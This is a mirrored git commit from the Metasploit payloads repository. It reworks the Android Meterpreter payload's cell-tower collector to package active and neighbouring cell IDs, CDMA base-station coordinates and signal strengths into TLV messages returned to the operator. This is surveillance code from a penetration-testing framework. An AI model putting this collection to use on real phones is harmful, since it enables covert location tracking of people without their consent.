mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-05-26 16:53:20 +02:00
Finish up first rework of CellCollector
This commit is contained in:
parent
c6b4956ebd
commit
3ce9cdaf17
java/androidpayload/library/src/com/metasploit/meterpreter
@ -230,7 +230,6 @@ public class CellCollector extends IntervalCollector {
|
|||||||
// -> Short( psc )
|
// -> Short( psc )
|
||||||
// -> Short( rssi )
|
// -> Short( rssi )
|
||||||
|
|
||||||
|
|
||||||
output.writeLong(this.timeout);
|
output.writeLong(this.timeout);
|
||||||
output.writeInt(this.collections.size());
|
output.writeInt(this.collections.size());
|
||||||
for (Long ts : this.collections.keySet()) {
|
for (Long ts : this.collections.keySet()) {
|
||||||
@ -277,18 +276,47 @@ public class CellCollector extends IntervalCollector {
|
|||||||
|
|
||||||
long timestamp = ts.longValue();
|
long timestamp = ts.longValue();
|
||||||
CellResult result = collections.get(timestamp);
|
CellResult result = collections.get(timestamp);
|
||||||
TLVPacket resultSet = new TLVPacket();
|
|
||||||
TLVPacket CellSet = new TLVPacket();
|
|
||||||
|
|
||||||
|
TLVPacket activeCell = new TLVPacket();
|
||||||
|
TLVPacket neighbors = new TLVPacket();
|
||||||
|
TLVPacket cellSet = new TLVPacket();
|
||||||
|
TLVPacket resultSet = new TLVPacket();
|
||||||
|
|
||||||
resultSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_TIMESTAMP, timestamp / 1000);
|
resultSet.add(interval_collect.TLV_TYPE_COLLECT_RESULT_TIMESTAMP, timestamp / 1000);
|
||||||
/*
|
|
||||||
CellSet.add(interval_collect.TLV_TYPE_GEO_LAT, Double.toString(geoLoc.mLatitude));
|
|
||||||
CellSet.add(interval_collect.TLV_TYPE_GEO_LONG, Double.toString(geoLoc.mLongitude));
|
|
||||||
resultSet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_GEO, CellSet);
|
|
||||||
|
|
||||||
|
switch(result.active.ptype) {
|
||||||
|
case TelephonyManager.PHONE_TYPE_GSM:
|
||||||
|
activeCell.add(interval_collect.TLV_TYPE_CELL_CID, result.active.gsm.mCid);
|
||||||
|
activeCell.add(interval_collect.TLV_TYPE_CELL_LAC, result.active.gsm.mLac);
|
||||||
|
activeCell.add(interval_collect.TLV_TYPE_CELL_PSC, result.active.gsm.mPsc);
|
||||||
|
cellSet.addOverflow(interval_collect.TLV_TYPE_CELL_ACTIVE_GSM, activeCell);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case TelephonyManager.PHONE_TYPE_CDMA:
|
||||||
|
activeCell.add(interval_collect.TLV_TYPE_CELL_BASE_ID, result.active.cdma.mBaseId);
|
||||||
|
activeCell.add(interval_collect.TLV_TYPE_CELL_BASE_LAT, result.active.cdma.mBaseLat);
|
||||||
|
activeCell.add(interval_collect.TLV_TYPE_CELL_BASE_LONG, result.active.cdma.mBaseLong);
|
||||||
|
activeCell.add(interval_collect.TLV_TYPE_CELL_NET_ID, result.active.cdma.mNetId);
|
||||||
|
activeCell.add(interval_collect.TLV_TYPE_CELL_SYSTEM_ID, result.active.cdma.mSystemId);
|
||||||
|
cellSet.addOverflow(interval_collect.TLV_TYPE_CELL_ACTIVE_CDMA, activeCell);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i=0; i < result.neighbors.size(); i++) {
|
||||||
|
TLVPacket neighbor = new TLVPacket();
|
||||||
|
CellNeighbor cellNeighbor = result.neighbors.get(i);
|
||||||
|
|
||||||
|
neighbor.add(interval_collect.TLV_TYPE_CELL_NET_TYPE, cellNeighbor.mType);
|
||||||
|
neighbor.add(interval_collect.TLV_TYPE_CELL_CID, cellNeighbor.mCid);
|
||||||
|
neighbor.add(interval_collect.TLV_TYPE_CELL_LAC, cellNeighbor.mLac);
|
||||||
|
neighbor.add(interval_collect.TLV_TYPE_CELL_PSC, cellNeighbor.mPsc);
|
||||||
|
// Convert signal strength back to negative dBm on the other side
|
||||||
|
neighbor.add(interval_collect.TLV_TYPE_CELL_RSSI, Math.abs(cellNeighbor.mRssi));
|
||||||
|
cellSet.addOverflow(interval_collect.TLV_TYPE_CELL_NEIGHBOR, neighbor);
|
||||||
|
}
|
||||||
|
|
||||||
|
resultSet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_CELL, cellSet);
|
||||||
packet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_GROUP, resultSet);
|
packet.addOverflow(interval_collect.TLV_TYPE_COLLECT_RESULT_GROUP, resultSet);
|
||||||
*/
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (IOException ex) {
|
catch (IOException ex) {
|
||||||
@ -299,3 +327,5 @@ public class CellCollector extends IntervalCollector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@ -49,17 +49,38 @@ public class interval_collect implements Command {
|
|||||||
|
|
||||||
// TLVs for Cell
|
// TLVs for Cell
|
||||||
public static final int TLV_TYPE_COLLECT_RESULT_CELL = TLVPacket.TLV_META_TYPE_GROUP
|
public static final int TLV_TYPE_COLLECT_RESULT_CELL = TLVPacket.TLV_META_TYPE_GROUP
|
||||||
| (TLV_EXTENSIONS + 9040);
|
| (TLV_EXTENSIONS + 9060);
|
||||||
public static final int TLV_TYPE_CELL_TYPE = TLVPacket.TLV_META_TYPE_STRING
|
public static final int TLV_TYPE_CELL_ACTIVE_GSM = TLVPacket.TLV_META_TYPE_GROUP
|
||||||
| (TLV_EXTENSIONS + 9041);
|
| (TLV_EXTENSIONS + 9061);
|
||||||
|
public static final int TLV_TYPE_CELL_ACTIVE_CDMA = TLVPacket.TLV_META_TYPE_GROUP
|
||||||
|
| (TLV_EXTENSIONS + 9062);
|
||||||
|
public static final int TLV_TYPE_CELL_NEIGHBOR = TLVPacket.TLV_META_TYPE_GROUP
|
||||||
|
| (TLV_EXTENSIONS + 9063);
|
||||||
|
|
||||||
|
// TLVs for Cell Neighbors
|
||||||
|
public static final int TLV_TYPE_CELL_NET_TYPE = TLVPacket.TLV_META_TYPE_UINT
|
||||||
|
| (TLV_EXTENSIONS + 9065);
|
||||||
public static final int TLV_TYPE_CELL_CID = TLVPacket.TLV_META_TYPE_UINT
|
public static final int TLV_TYPE_CELL_CID = TLVPacket.TLV_META_TYPE_UINT
|
||||||
| (TLV_EXTENSIONS + 9042);
|
| (TLV_EXTENSIONS + 9066);
|
||||||
public static final int TLV_TYPE_CELL_LAC = TLVPacket.TLV_META_TYPE_UINT
|
public static final int TLV_TYPE_CELL_LAC = TLVPacket.TLV_META_TYPE_UINT
|
||||||
| (TLV_EXTENSIONS + 9043);
|
| (TLV_EXTENSIONS + 9067);
|
||||||
public static final int TLV_TYPE_CELL_PSC = TLVPacket.TLV_META_TYPE_UINT
|
public static final int TLV_TYPE_CELL_PSC = TLVPacket.TLV_META_TYPE_UINT
|
||||||
| (TLV_EXTENSIONS + 9044);
|
| (TLV_EXTENSIONS + 9068);
|
||||||
public static final int TLV_TYPE_CELL_RSSI = TLVPacket.TLV_META_TYPE_UINT
|
public static final int TLV_TYPE_CELL_RSSI = TLVPacket.TLV_META_TYPE_UINT
|
||||||
| (TLV_EXTENSIONS + 9045);
|
| (TLV_EXTENSIONS + 9069);
|
||||||
|
|
||||||
|
// TLVs for CDMA networks
|
||||||
|
public static final int TLV_TYPE_CELL_BASE_ID = TLVPacket.TLV_META_TYPE_UINT
|
||||||
|
| (TLV_EXTENSIONS + 9070);
|
||||||
|
public static final int TLV_TYPE_CELL_BASE_LAT = TLVPacket.TLV_META_TYPE_UINT
|
||||||
|
| (TLV_EXTENSIONS + 9071);
|
||||||
|
public static final int TLV_TYPE_CELL_BASE_LONG = TLVPacket.TLV_META_TYPE_UINT
|
||||||
|
| (TLV_EXTENSIONS + 9072);
|
||||||
|
public static final int TLV_TYPE_CELL_NET_ID = TLVPacket.TLV_META_TYPE_UINT
|
||||||
|
| (TLV_EXTENSIONS + 9073);
|
||||||
|
public static final int TLV_TYPE_CELL_SYSTEM_ID = TLVPacket.TLV_META_TYPE_UINT
|
||||||
|
| (TLV_EXTENSIONS + 9074);
|
||||||
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
|
Loading…
x
Reference in New Issue
Block a user